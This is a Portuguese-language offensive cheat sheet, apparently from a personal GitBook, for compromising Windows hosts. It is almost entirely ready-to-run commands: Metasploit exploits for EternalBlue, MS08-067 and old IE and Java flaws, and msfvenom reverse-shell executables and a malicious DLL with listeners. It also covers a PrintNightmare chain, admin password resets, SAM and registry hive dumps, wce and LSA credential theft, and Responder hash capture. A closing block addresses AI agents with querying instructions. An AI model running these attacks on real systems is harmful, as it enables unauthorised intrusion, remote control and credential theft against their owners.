# Windows

### Metasploit

#### Atacando Windows 7 (Eternal Blue)

Procurando por alvos na rede

```
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
set threads 100
run
```

Explorando a falha

```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <ip_alvo>
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <ip_atacante>
exploit
```

#### Atacando Windows 7 (Vírus)

O `Msfvenom` é utilizado nas novas versões do Metasploit, substituindo o `msfpayload / msfencode`.

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> x > /tmp/backdoor.exe
# ou
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> -a x86 -f exe -o /root/payload.exe
```

Faça com que o alvo execute o arquivo .exe:

Entre no modo listener:

```bash
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ip_atacante>
exploit
```

Se até aqui tiver sido efetuado com êxito, irá ser aberto o `meterperter`.

#### Atacando Windows 7 pelo Internet Explorer

```
use exploit/windows/browser/ms11_003_ie_css_import
set payload windows/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set SRVHOST <ip_atacante>
set URIPATH videos
exploit
```

Agora faça com que o alvo abra `http://<ip_atacante>:8080/videos` pelo Internet Explorer.

#### Atacando Windows 7 com JAVA

O JAVA tem de estar numa versão um pouco mais antiga para que funcione

```bash
msfconsole
use exploit/multi/browser/java_signed_applet # "Multi" e "Browser" significam que são multiplataforma
set payload windows/meterpreter/reverse_tcp
set appletname XVIDEOS # Nome do Applet, pode ser qualquer nome
set certcn Adobe_Flash_Player # Nome do Applet em versões mais antigas pra quem assinou
set srvhost {ip_atacante} # Define o IP do servidor
set srvport 80 # Define a porta do servidor
set uripath videos # Em qual pasta vai ficar armazenado. Nesse caso será <servidor>/videos
set LHOST <ip>
set lport 443
exploit
```

Agora faça com que o alvo acesse a URL e aceite o java para que o meterpreter tenha sucesso

#### Atacando Windows XP

Certifique-se antes de que a porta 445 do alvo esteja aberta

```bash
# Abre o Metasploit  
msfconsole  
# Selecionando o exploit  
use windows/smb/ms08_067_netapi  
# Selecionando o payload  
set payload windows/meterpreter/reverse_tcp
# Define o host remoto IP do alvo)    
set RHOST <ip_alvo> 
# Define o local host meu IP)   
set LHOST <ip_atacante>
# Comando para ver o que já foi inserido e o que falta  
show options
# Executa tudo o que foi configurado  
exploit
```

Se até aqui iver sido efetuado com êxito, irá ser aberto o meterperter

#### Ataque Via Browser

```bash
msfconsole
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
set payload windows/meterpreter/reverse_tcp
set SRVHOST <ip_hacker>
set LHOST <ip_hacker>
exploit
```

Agora faça o alvo acessar pelo navegador: http\://\
**OBS.:** Certifique-se que seu IP não esteja já utilizando a porta 80

#### Ativando RDP

Depois de conseguir acesso via Meterpreter, jogue a sessão em backgrund (`CTRL` + `Z`) e então execute o seguinte post:

```
use post/windows/manage/enable_rdp
set SESSION <number_session>
exploit
```

Depois de ativar o RDP, podemos acessá-lo normalmente. Caso não saiba a senha do Administrador, podemos alterá-la ou até mesmo criar um usuário.

```
session -i <number_session>
shell
net user administrator novasenha_123
```

#### &#x20;HTA Server (necessário ter RCE)

```bash
# Atacante
msfconsole -q
use exploit/windows/misc/hta_server
exploit
# Copie a URL gerada

# Alvo
mshta.exe <url_gerada>

# Atacante
session -i <number_session>
```

### Enum4Linux

Esse tipo de enumaração pode ser grande e poluída a sua leitura, então foque "principalmente" nos itens `output similar to nmblookup`, `check for null session`, `listing of shares`, `domain info`, `password policy` e `RID cycling output`.

```bash
# -a = Todas as enumerações
enum4linux -a <ip_alvo>
```

Caso queira filtrar por determinadas informações, podemos utilizar alguns recursos do enum4linux.

```bash
# Somente usuários
enum4linux -U <ip>

# Somente compartilhamento
enum4linux -S <ip>
```

### Pegando Senhas Locais Via LSA

Depois de acessar o Windows como Administrador, execute o comando `lsadump2`.

###

### Pegando Senhas em Texto Limpo (NTLM)

```bash
wce32.exe -w
```

###

### Pegando Registros Manualmente

```bash
C:\> reg.exe save hklm\sam c:\windows\temp\sam.save
C:\> reg.exe save hklm\security c:\windows\temp\security.save
C:\> reg.exe save hklm\system c:\windows\temp\system.save
```

Isso também pode ser feito com `secretsdump.py` ou `pwdump`

### Responder

Quando um sistema em uma rede faz uma pesquisa de nome de host DNS que falha,  o sistema utiliza Link-Local Multicast Name Resolution (LLMNR) e o Net-BIOS para resolução de nomes substitutos. Quando o host da vítima falha na pesquisa de DNS, esse host começa a perguntar para qualquer host da rede se eles sabem a resolução para esse nome de host que ele está procurando.

Isso pode acontecer, por exemplo, quando o Windows tem uma unidade de rede mapeada e então esse host deixa de existir ou trocou de IP/hostname.

Antes de iniciar o responder, abra o arquivo `/etc/responder/Responder.conf` e edite o parâmetro `RespondTo`, filtrando somente pelos IPs (separados por vírgula) que deseja realmente atacar.

```
python Responder.py -I <interface> -wrf
reponder -I <interface> -Prv
```

Caso pegue um hash do tipo `NetNTLMv2`, utilize `hashcat` com a opção `-m 5600`.

### PrintNightmare

Execute o comando abaixo e verifique se as duas condições no grep estão de acordo.

```bash
/usr/bin/impacket-rpcdump @<host> | egrep 'MS-RPRN|MS-PAR'
```

Caso seja positivo, precisamos baixar o repositório da CVE.

```bash
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675
```

&#x20;Agora, vamos instalar (caso ainda não tenha) o `virtualenv` e executar os devidos comandos:

```
sudo apt install virtualenv

virtualenv --python=python3 impacket
source impacket/bin/activate
```

Com isso, estaremos dentro do ambiente virtual, então podemos executar a instalação.

```bash
pip3 install .
pip2 install .
```

Agora precisamos gerar nos DLL maliciosa e para isso podemos utilizar o msfvenom.

```bash
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip_atancante> LPORT=1235 -f dll > shell.dll
```

Deixando o Metasploit no modo listener.

```
sudo msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost <ip>
set lport 1235
exploit
```

Com o nosso ambiente já preparado para disparar o ataque e receber a reverse shell, vamos preciso subir um servidor SMB para que o host alvo possa acessar nossa DLL gerada com o msfvenom.

```
smbserver.py mysther . -smb2support
```

E por último, realizando o ataque de fato para obter a reverse shell no Meterpreter.

```
python3 CVE-2021-1675.py <domain>/<user>:'<pass>'@<hostname_alvo> '\\<ip_atacante>\mysther\shell.dll'
```

#### Sites

```bash
# Diversos comandos para ataque Windows, estilo GTFOBins
https://wadcoms.github.io/
https://arttoolkit.github.io

# Ferramentas para ataques contra Windows
https://lolbas-project.github.io/

# Responder
https://github.com/lgandx/Responder-Windows

# Pegando Credenciais
https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/

# PrintNightmare
https://github.com/cube0x0/CVE-2021-1675
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/windows.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
